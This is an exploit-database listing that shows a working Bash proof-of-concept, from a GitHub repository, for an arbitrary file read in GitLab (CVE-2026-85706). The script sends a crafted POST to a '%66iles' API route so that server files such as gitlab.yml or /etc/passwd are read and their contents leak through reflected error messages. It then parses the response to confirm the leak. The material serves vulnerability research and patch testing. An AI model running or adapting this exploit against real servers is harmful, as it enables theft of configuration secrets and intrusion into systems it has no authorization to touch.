Exploit databaseDownload repository ZIP
GH-8945d9f7b2607ed94d629c84cf80338a
unh00k3d/cve-2026-85706
Sources for CVE-2026-85706
9 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
unh00k3d/cve-2026-85706Revision f64c9eaec4e5
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/exploit.sh
Shell · 3,363 bytes#!/usr/bin/env bash
#
# CVE-2026-85706 — arbitrary file read (reflected-error exfiltration)
#
# Reads a file from the GitLab host via the %66iles parser differential. The handler
# feeds the file bytes to Rack::Utils.parse_nested_query; when the file contains a "%"
# not followed by two hex digits, Rack raises InvalidParameterError and the VULNERABLE
# build reflects the offending segment (file bytes up to the first bad "%") in the
# response message.
#
# Disclosure depends on file contents (see ../docs/ANALYSIS.md §6):
# - file with "%"+non-hex (e.g. gitlab.yml) -> content leaks in the error message
# - clean file (e.g. /etc/passwd) -> read happens, but "branch is required"
# (proves the read; no content reflected)
# - binary / invalid UTF-8 -> "invalid byte sequence in UTF-8"
#
# Usage: ./exploit.sh <target-url> <remote-file-path> [project_id]
# ./exploit.sh http://localhost:8929 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
# ./exploit.sh http://localhost:8929 /etc/passwd
#
# ONLY run against systems you own or are explicitly authorized to test.
set -euo pipefail
TARGET="${1:-}"
FILE="${2:-}"
PROJECT_ID="${3:-1}"
if [[ -z "$TARGET" || -z "$FILE" ]]; then
echo "usage: $0 <target-url> <remote-file-path> [project_id]" >&2
echo "example: $0 http://localhost:8929 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml" >&2
exit 2
fi
TARGET="${TARGET%/}"
# URL-encode the file path and the Content-Type param value.
urlenc() { curl -Gso /dev/null -w '%{url_effective}' --data-urlencode "=$1" "" | sed 's/^.*=//'; }
FILE_ENC="$(urlenc "$FILE")"
CT_ENC="application%2Fx-www-form-urlencoded"
# %66iles == "files": Workhorse route miss, Rails route hit.
# Content-Type param selects the urlencoded parse branch (the reflected-error channel).
URL="${TARGET}/api/v4/projects/${PROJECT_ID}/repository/%66iles/x?file=&file.path=${FILE_ENC}&file.size=1&Content-Type=${CT_ENC}"
echo "[*] target : ${TARGET}"
echo "[*] file : ${FILE}"
echo "[*] branch : urlencoded (reflected-error channel)"
echo
resp="$(curl -sS -m 30 -o /tmp/cve85706.out -w '%{http_code}' -X POST "$URL")" || {
echo "[!] request failed" >&2; exit 1; }
body="$(cat /tmp/cve85706.out)"; rm -f /tmp/cve85706.out
echo "[*] HTTP ${resp}"
echo "--------------------------------------------------------------------------------"
echo "$body"
echo "--------------------------------------------------------------------------------"
echo
if grep -qi "invalid %-encoding" <<<"$body"; then
echo "[+] CONTENT LEAK — file bytes reflected up to the first invalid '%'."
elif grep -qi "branch is required" <<<"$body"; then
echo "[+] READ CONFIRMED — file was read and parsed cleanly (no '%'+non-hex to reflect)."
echo " Content stays server-side for this file. Try a file containing '%' (e.g. gitlab.yml)."
elif grep -qi "invalid byte sequence" <<<"$body"; then
echo "[+] READ CONFIRMED — binary/invalid-UTF-8 file (error class only, no content)."
elif grep -qi "local file not present" <<<"$body"; then
echo "[-] File does not exist on target (existence oracle returned false)."
elif [[ "$resp" == "401" ]]; then
echo "[-] 401 Unauthorized — target appears patched (authenticate! enforced)."
else
echo "[?] Unexpected response — inspect manually. See ../docs/ANALYSIS.md §6."
fi